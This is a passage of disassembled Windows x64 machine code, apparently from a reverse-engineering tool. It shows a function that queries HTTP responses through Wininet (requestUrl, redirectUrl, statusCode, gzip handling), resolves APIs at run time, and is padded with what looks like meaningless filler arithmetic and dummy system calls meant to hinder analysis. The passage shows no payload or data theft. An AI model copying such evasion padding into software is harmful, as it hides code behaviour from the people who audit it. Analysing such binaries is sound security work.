sub r9d, edx
add r9d, 0x2f4
movsxd rcx, r9d
mov eax, 4
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400cd108
mov rcx, rax
call fcn.1400cebfc
mov eax, dword [rbp + 0x28]
and eax, 0xffffff00
mov dword [rbp + 0x28], eax
btr eax, 8
mov dword [rbp + 0x28], eax
mov qword [rbp + 0x30], r14
mov rdx, r14
mov rax, qword [rsp + 0x50]
lea r8, [0x140150128]
movzx ecx, word [rax + rdx*2]
inc rdx
cmp cx, word [r8 + rdx*2 - 2]
jne 0x14003050a
cmp rdx, 4
jne 0x1400304f0
mov ecx, r14d
jmp 0x14003050f
sbb ecx, ecx
or ecx, 1
test ecx, ecx
setne cl
test cl, cl
je 0x140030718
mov rdx, r14
lea r8, [0x140150148]
nop word [rax + rax]
movzx ecx, word [rax + rdx*2]
inc rdx
cmp cx, word [r8 + rdx*2 - 2]
jne 0x14003054a
cmp rdx, 4
jne 0x140030530
mov ecx, r14d
jmp 0x14003054f
sbb ecx, ecx
or ecx, 1
test ecx, ecx
setne cl
test cl, cl
je 0x140030718
mov rdx, r14
lea r8, [0x140150140]
nop word [rax + rax]
movzx ecx, word [rax + rdx*2]
inc rdx
cmp cx, word [r8 + rdx*2 - 2]
jne 0x14003058a
cmp rdx, 4
jne 0x140030570
mov ecx, r14d
jmp 0x14003058f
sbb ecx, ecx
or ecx, 1
test ecx, ecx
setne cl
test cl, cl
je 0x140030718
mov rdx, r14
lea r8, [0x140150168]
nop word [rax + rax]
movzx ecx, word [rax + rdx*2]
inc rdx
cmp cx, word [r8 + rdx*2 - 2]
jne 0x1400305ca
cmp rdx, 4
jne 0x1400305b0
mov eax, r14d
jmp 0x1400305cf
sbb eax, eax
or eax, 1
test eax, eax
setne al
test al, al
je 0x140030718
lea rdx, [rbp + 0x20]
mov rdi, qword [rbp - 0x58]
mov rcx, rdi
call fcn.140038b90
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0x20]
call fcn.140038cf0
nop
mov rdx, qword [rbp - 0x48]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030614
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003062e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030647
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030661
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003067b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030694
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400306ad
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400306c6
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400306df
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400306f9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030713
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x1400320f5
lea rcx, [0x1401bb9a8]
mov rax, qword [0x1401bb9a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x10], rax
mov rcx, qword [rbp - 0x48]
add rcx, 0xffffffffffffffe8
call fcn.140002410
add rax, 0x18
mov qword [rbp + 0x10], rax
call fcn.140029bc0
test al, al
jne 0x140030761
mov ecx, 4
call fcn.1400ce278
mov ecx, dword [0x1401c3d80]
mov dword [rax], ecx
lea rcx, [rbp + 0x10]
call fcn.140025360
mov rbx, qword [rbp + 0x10]
cmp dword [rbx - 0x10], 0
jge 0x140030778
mov edi, esi
jmp 0x140030799
lea rdx, str.location:
mov rcx, rbx
call fcn.1400ce90c
mov rdi, rax
test rax, rax
jne 0x140030793
mov edi, esi
jmp 0x140030799
sub rdi, rbx
sar rdi, 1
mov ecx, dword [0x1401c3d80]
imul ecx, ecx
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 5
jne 0x1400307c6
dec dword [0x1401c4b7c]
cmp edi, 0xffffffff
jne 0x140030939
lea rdx, [rbp + 0x20]
mov rdi, qword [rbp - 0x58]
mov rcx, rdi
call fcn.140038b90
mov dword [rsp + 0x44], r12d
lea rdx, [rbx - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400307f9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x10]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030812
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rbp + 0x20]
call fcn.140038cf0
nop
mov rdx, qword [rbp - 0x48]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030835
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003084f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030868
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030882
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003089c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400308b5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400308ce
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400308e7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030900
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003091a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030934
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x1400320f5
test edi, edi
js 0x140030962
cmp edi, dword [rbx - 0x10]
jg 0x140030962
movsxd rax, edi
lea rcx, [rbx + rax*2]
lea rdx, [0x140150088]
call fcn.1400ce90c
test rax, rax
je 0x140030962
sub rax, rbx
sar rax, 1
jmp 0x140030964
mov eax, esi
sub eax, edi
mov r9d, eax
mov r8d, edi
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x10]
call fcn.14000fb90
nop
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.140002230
nop
mov rdx, qword [rbp + 0x1c8]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400309a5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rbp - 0x10]
cmp dword [rbx - 0x10], 0
jl 0x140030e95
lea rdx, str.http
mov rcx, rbx
call fcn.1400ce90c
test rax, rax
je 0x140030e95
sub rax, rbx
sar rax, 1
cmp eax, 0xffffffff
je 0x140030e95
mov r8d, dword [rbx - 0x10]
sub r8d, eax
lea rdx, [rbp + 0x188]
lea rcx, [rbp - 0x10]
call fcn.14001a500
nop
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.140002230
nop
mov rdx, qword [rbp + 0x188]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030a1a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
call fcn.140029bc0
test al, al
jne 0x140030a9b
mov word [rbp + 0x1220], r14w
xor edx, edx
mov r8d, 0x370
lea rcx, [rbp + 0x1222]
call fcn.1400d2f00
mov r10, r14
mov r9, r14
mov r8, r14
test r10, r10
je 0x140030a75
test r8, r8
je 0x140030a75
lea rdx, [r8 + r9]
lea rax, [r8 + r9]
movzx ecx, word [rbp + rax*2 + 0x11f6]
inc cx
add cx, word [rbp + rdx*2 + 0x121e]
mov word [rbp + rdx*2 + 0x1220], cx
inc r8
cmp r8, 0x15
jl 0x140030a48
inc r10
add r9, 0x15
cmp r9, 0x1b9
jl 0x140030a45
movsx eax, word [rbp + 0x1590]
mov dword [0x1401c3d80], eax
mov eax, dword [rbp + 0x208]
and eax, 0xffffff05
or eax, 5
mov dword [rbp + 0x208], eax
mov qword [rbp + 0x210], r14
mov byte [rbp + 0x200], 1
lea rdx, str.urlRedirected
lea rcx, [rbp + 0x20]
call fcn.140039730
mov rcx, rax
lea rdx, [rbp + 0x200]
call fcn.140038da0
nop
lea rcx, [rbp + 0x200]
call fcn.140038cf0
mov r8d, dword [0x1401c3d80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 0xd
jne 0x140030bba
mov edx, r14d
nop
mov ecx, edx
and ecx, 1
dec ecx
not ecx
and ecx, r8d
mov eax, edx
sar eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, r8d
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, r8d
sar eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, r8d
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, r8d
sar eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, r8d
sar ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, r8d
sar eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
not eax
and eax, r8d
sar ecx, 1
xor eax, ecx
add r8d, eax
inc edx
cmp edx, 0x100
jl 0x140030b20
mov dword [0x1401c3d80], r8d
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x4e8]
call fcn.1400202d0
nop
mov rdx, rax
lea rcx, [rbp + 0x308]
call fcn.140038ad0
nop
lea rdx, str.requestUrl
lea rcx, [rbp + 0x20]
call fcn.140039730
mov rcx, rax
lea rdx, [rbp + 0x308]
call fcn.140038da0
nop
lea rcx, [rbp + 0x308]
call fcn.140038cf0
nop
cmp qword [rbp + 0x500], 0x10
jb 0x140030c1f
mov rcx, qword [rbp + 0x4e8]
call fcn.1400cdaa0
mov qword [rbp + 0x500], 0xf
mov qword [rbp + 0x4f8], r14
mov byte [rbp + 0x4e8], 0
mov r9d, dword [0x1401c3d80]
mov r8d, r9d
imul r8d, r9d
imul r8d, r9d
mov eax, 0x38e38e39
imul r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*8]
sub r8d, ecx
cmp r8d, 4
jne 0x140030ca2
mov eax, 0x51eb851f
imul r9d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x64
sub r9d, edx
add r9d, 0x7b
movsxd rcx, r9d
mov eax, 4
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400cd108
mov rcx, rax
call fcn.1400cebfc
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x508]
call fcn.1400202d0
nop
mov rdx, rax
lea rcx, [rbp + 0x398]
call fcn.140038ad0
nop
lea rdx, str.redirectUrl
lea rcx, [rbp + 0x20]
call fcn.140039730
mov rcx, rax
lea rdx, [rbp + 0x398]
call fcn.140038da0
nop
lea rcx, [rbp + 0x398]
call fcn.140038cf0
nop
cmp qword [rbp + 0x520], 0x10
jb 0x140030d06
mov rcx, qword [rbp + 0x508]
call fcn.1400cdaa0
mov qword [rbp + 0x520], 0xf
mov qword [rbp + 0x518], r14
mov byte [rbp + 0x508], 0
mov rcx, qword [rsp + 0x50]
mov edx, r12d
sub edx, dword [rcx - 8]
mov eax, dword [rcx - 0xc]
or eax, edx
jge 0x140030d42
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400023b0
mov rcx, qword [rsp + 0x50]
call fcn.1400cec24
mov ecx, dword [rbp + 0x228]
and ecx, 0xffffff01
or ecx, 1
mov dword [rbp + 0x228], ecx
mov qword [rbp + 0x230], r14
mov dword [rbp + 0x220], eax
lea rdx, str.statusCode
lea rcx, [rbp + 0x20]
call fcn.140039730
mov rcx, rax
lea rdx, [rbp + 0x220]
call fcn.140038da0
nop
lea rcx, [rbp + 0x220]
call fcn.140038cf0
lea rdx, [rbp + 0x20]
mov rdi, qword [rbp - 0x58]
mov rcx, rdi
call fcn.140038b90
mov dword [rsp + 0x44], r12d
mov rdx, qword [rbp + 0x10]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030dc3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x10]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030ddc
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rbp + 0x20]
call fcn.140038cf0
nop
mov rdx, qword [rbp - 0x48]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030dff
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030e19
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030e32
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x70]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x58]
call fcn.1400021b0
nop
lea rcx, [rbp - 0x70]
call fcn.1400021b0
nop
lea rcx, [rbp - 0x68]
call fcn.1400021b0
nop
lea rcx, [rbp - 0x80]
call fcn.1400021b0
nop
lea rcx, [rbp - 0x78]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x60]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x78]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x68]
call fcn.1400021b0
jmp 0x14003210e
mov r9d, dword [0x1401c3d80]
lea r8d, [r9 + 2]
lea ecx, [r9 + 1]
imul r8d, ecx
imul r8d, r9d
mov eax, 0x88888889
imul r8d
add edx, r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub r8d, edx
cmp r8d, 2
jne 0x140030f1e
movsd xmm3, qword [0x140153278]
xorps xmm2, xmm2
movd xmm4, r9d
cvtdq2pd xmm4, xmm4
movsd xmm5, qword [0x1401532a0]
movsd xmm6, qword [0x140153270]
addsd xmm2, xmm3
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x140030f0a
subsd xmm2, xmm3
divsd xmm3, xmm5
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmm6
ja 0x140030ef1
lea rdx, [rbp + 0x20]
mov rdi, qword [rbp - 0x58]
mov rcx, rdi
call fcn.140038b90
mov dword [rsp + 0x44], r12d
mov rdx, qword [rbp + 0x10]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030f4c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x10]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030f65
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rbp + 0x20]
call fcn.140038cf0
nop
mov rdx, qword [rbp - 0x48]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030f88
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030fa2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030fbb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030fd5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030fef
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140031008
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140031021
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003103a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140031053
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003106d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140031087
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x1400320f5
lea rcx, [rbp - 0x28]
call fcn.14001a8a0
nop
mov dword [rbp - 0x40], r14d
mov r15d, 7
mov r10d, dword [0x1401c3d80]
call fcn.140029c50
test al, al
jne 0x1400310eb
mov eax, 0x51eb851f
imul r10d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r10d, edx
add r10d, 0x7b
movsxd rcx, r10d
mov eax, 4
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400cd108
mov rcx, rax
call fcn.1400cebfc
lea rcx, [rbp - 0x28]
call fcn.140032430
mov rdi, rax
lea rdx, [rax + 0x400]
lea rcx, [rbp - 0x28]
call fcn.140032330
call fcn.140029ca0
test al, al
jne 0x140031125
mov edx, 0x68
lea r8d, [rdx + 1]
lea rcx, str._d__d_n
call fcn.1400ce3cc
mov dword [rbp - 0x40], r14d
mov rdx, rdi
lea rcx, [rbp - 0x28]
call fcn.140032440
mov rbx, rax
call fcn.1400284b0
mov rcx, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
mov r8, rbx
mov rdx, r13
call fcn.140040320
test eax, eax
je 0x140031d3c
mov edx, dword [rbp - 0x40]
add rdx, rdi
lea rcx, [rbp - 0x28]
call fcn.140032330
call fcn.140029b80
test al, al
jne 0x1400311a1
mov ecx, dword [0x1401c3d80]
mov edx, ecx
test ecx, ecx
je 0x140031197
dec edx
je 0x14003118e
inc ecx
mov dword [0x1401c3d80], ecx
jmp 0x1400311a1
mov dword [0x1401c3d80], r14d
jmp 0x1400311a1
mov dword [0x1401c3d80], 2
call fcn.140029bc0
test al, al
jne 0x1400311ce
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov r10d, dword [0x1401c3d80]
test rax, rax
cmove r10d, r15d
mov dword [0x1401c3d80], r10d
jmp 0x1400311d5
mov r10d, dword [0x1401c3d80]
cmp dword [rbp - 0x40], 0
jne 0x1400310a7
mov byte [rbp + 0x15a0], 0
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x15a1]
call fcn.1400d2f00
mov dword [rbp + 0xa0], 0x400
mov rbx, r14
lea rcx, str.Wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r10, rax
movsd xmm7, qword [0x140153278]
xorps xmm6, xmm6
movsd xmm8, qword [0x1401532a0]
movsd xmm9, qword [0x140153270]
test rax, rax
je 0x1400312a2
call fcn.140029ce0
test al, al
jne 0x14003128f
movaps xmm3, xmm7
movaps xmm2, xmm6
movd xmm4, dword [0x1401c3d80]
cvtdq2pd xmm4, xmm4
nop word [rax + rax]
addsd xmm2, xmm3
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x14003127a
subsd xmm2, xmm3
divsd xmm3, xmm8
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmm9
ja 0x140031260
lea rdx, str.HttpQueryInfoA
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0xa0]
lea r8, [rbp + 0x15a0]
mov edx, 0x1d
mov rcx, r13
call rbx
test eax, eax
je 0x1400315ce
call fcn.140029b40
test al, al
jne 0x14003130f
movd xmm2, dword [0x1401c3d80]
cvtdq2pd xmm2, xmm2
nop dword [rax]
addsd xmm6, xmm7
movaps xmm0, xmm6
mulsd xmm0, xmm6
comisd xmm0, xmm2
jbe 0x1400312fa
subsd xmm6, xmm7
divsd xmm7, xmm8
movaps xmm1, xmm6
mulsd xmm1, xmm6
movaps xmm0, xmm2
subsd xmm0, xmm1
comisd xmm0, xmm9
ja 0x1400312e0
lea rdx, [rbp + 0x15a0]
lea rcx, [rbp + 0x90]
call fcn.140029910
nop
lea rdx, str.gzip
lea rcx, [rbp + 0x90]
call fcn.14001a860
test al, al
je 0x14003158c
lea rcx, [rbp + 0x240]
call fcn.14001a8a0
nop
lea rcx, [rbp - 0x28]
call fcn.140032430
mov rbx, rax
xor edx, edx
lea rcx, [rbp - 0x28]
call fcn.140032440
mov rcx, rax
lea r8, [rbp + 0x240]
mov rdx, rbx
call fcn.140029e40
test eax, eax
jne 0x14003156f
mov ecx, dword [0x1401c3d80]
imul ecx, ecx
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub ecx, edx
cmp ecx, 3
jne 0x1400313b5
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [0x1401c3d80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 9
jne 0x140031513
mov rbx, r14
mov edi, 0xa8
call fcn.1400ce478
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rbp + rbx*8 + 0xa50], xmm0
inc rbx
cmp rbx, rdi
jb 0x1400313f3
mov r9d, 0xa7
nop word [rax + rax]
mov edx, 0xa7
cmp r14, rdx
jge 0x140031504
cmp r9, 4
jl 0x1400314cd
lea rcx, [rbp + 0xf78]
mov r8d, 0xa3
sub r8, r14
shr r8, 2
inc r8
lea rax, [r8*4]
sub rdx, rax
nop word [rax + rax]
movsd xmm0, qword [rcx + 0x10]
movsd xmm1, qword [rcx + 8]
comisd xmm0, xmm1
jbe 0x14003147a
movsd qword [rcx + 0x10], xmm1
movsd qword [rcx + 8], xmm0
movsd xmm0, qword [rcx + 8]
movsd xmm1, qword [rcx]
comisd xmm0, xmm1
jbe 0x140031492
movsd qword [rcx + 8], xmm1
movsd qword [rcx], xmm0
movsd xmm0, qword [rcx]
movsd xmm1, qword [rcx - 8]
comisd xmm0, xmm1
jbe 0x1400314aa
movsd qword [rcx], xmm1
movsd qword [rcx - 8], xmm0
movsd xmm0, qword [rcx - 8]
movsd xmm1, qword [rcx - 0x10]
comisd xmm0, xmm1
jbe 0x1400314c4
movsd qword [rcx - 8], xmm1
movsd qword [rcx - 0x10], xmm0
sub rcx, 0x20
dec r8
jne 0x140031460
cmp rdx, r14
jle 0x140031504
movsd xmm0, qword [rbp + rdx*8 + 0xa50]
movsd xmm1, qword [rbp + rdx*8 + 0xa48]
comisd xmm0, xmm1
jbe 0x1400314fc
movsd qword [rbp + rdx*8 + 0xa50], xmm1
movsd qword [rbp + rdx*8 + 0xa48], xmm0
dec rdx
cmp rdx, r14
jg 0x1400314d2
inc r14
dec r9
dec rdi
jne 0x140031420
cmp byte [rsp + 0x40], 0
je 0x140031524
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.gzip_decompressing_error
lea rcx, [rbp + 0x238]
call fcn.1400030b0
nop
mov rdx, rax
mov rcx, qword [rbp - 0x58]
call fcn.14002a4b0
mov dword [rsp + 0x44], r12d
